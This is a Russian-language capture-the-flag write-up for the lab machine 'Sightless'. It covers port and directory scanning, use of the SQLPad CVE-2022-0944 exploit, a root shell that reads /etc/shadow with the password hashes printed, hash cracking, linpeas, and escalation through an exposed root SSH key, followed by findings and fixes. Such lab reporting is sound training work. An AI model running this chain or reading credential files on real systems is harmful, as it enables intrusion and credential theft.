Sightless
Область тестирования и использованные службы.
| IP/домен | Порт | Сервис | Сервис целевого сервера |
|---|---|---|---|
| localhost | 5901 | WinKexServer | - |
| localhost | - | Nmap Port Scanner | - |
| localhost | - | GoBuster Directory Scanner | - |
| localhost | - | Obsidian Notes | - |
| localhost | 8000 | Python HTTP Simple Server | - |
| localhost | - | john the ripper hash cracker | - |
| 10.10.11.32 | 80 | Web Server + SQLPad Web Server | + |
| 10.10.11.32 | 22 | SSH | + |
Использованные файлы:
- linpeas.sh - Privilege Escalation Awesome Scripts SUITE new generation.
- sqlpad-rce-exploit-CVE-2022-0944 - Remote Command Execution в SQLPad 6.10.0.
- userpass.txt - файл для расшифровки паролей из /etc/shadow.
- rockyou.txt - самый большой вордлист паролей для попытки атаки Brute Force.
- user.txt - флаг.
- root.txt - флаг.
Порядок действий
1) Запуск openvpn для доступа; kex для того, чтобы сделать linux удобнее
kex --win && sudo openvpn lab_Kolya080808.ovpn2) Сканирование портов с помощью nmap.
Результаты:
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=11/17%Time=6739DBD3%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x2
SF:0Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x2
SF:0try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\
SF:x20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3) Запуск gobuster для поиска директорий.
- Результаты:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sightless.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404,302
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 178] [--> http://sightless.htb/images/]
Progress: 9643 / 220561 (4.37%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 9653 / 220561 (4.38%)
===============================================================
Finished
===============================================================
4) Ничего интересного нам не выдало, так что смотрим на сайт:
- Результат:

5) Осматриваемся на найденном сайте:
Результат:

6) Пробуем использовать найденный эксплоит:
Результат:
Довольно быстро!7) Так как мы root, можем попробовать прочесть /etc/shadow:
Результат:
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
8) Ломаем хэш майкла:
Результат:

9) Заходим с пользователя Michael и читаем user.txt
Результат:

10) Загрузим linpeas и посмотрим, что мы можем сделать:
Результат:

11) Честно я был в шоке, но этого ssh ключа хватило для повышения привелегий и получение root.txt:
Результат:

Найденные уязвимости
Information Disclosure
PoC:
(пункт 11)
CVSSv3 Score: 10.0 (Critical)
Описание:
Information Disclosure в данном случае связана с доступом всех пользователей к директории /root. Пользователь сделал возможным доступ к ssh ключу для суперпользователя, из-за чего любой другой юзер сможет получить доступ к этому.
Воспроизведение уязвимости:
(пункт 10)
Рекомендации по устранению:
- Ограничьте доступ пользователей к директории /root.
- Храните ssh ключи в недоступной для всех пользователей папке.
- Если есть возможность не используйте ssh ключи для пользователей, а заходите просто по паролю на сервер.
CVE-2022-0944
PoC:
(пункт 6)
CVSSv3 Score: 10.0 (Critical)
Описание:
Данный эксплоит дает возможность удаленного исполнения команд на сервере без ведома администратора.
Воспроизведение уязвимости:
(пункт 5)
Рекомендации по устранению:
- Ограничьте доступ к данной странице веб-сайта.
- Обновите sqlpad до последней версии.
BruteForce
PoC:
(пункт 8)
CVSSv3 Score: 7.5 (High)
Описание:
Из-за простого пароля пользователя Michael есть возможность его расхешировать и получить доступ по ssh.
Воспроизведение уязвимости:
(пункт 8)
Рекомендации по устранению:
- Поменяйте пароль.
- Не используйте пароли из вордлиста rockyou.
Старайтесь использовать автоматический генератор паролей, которые еще не находятся ни в одном вордлисте.
Видео выполнения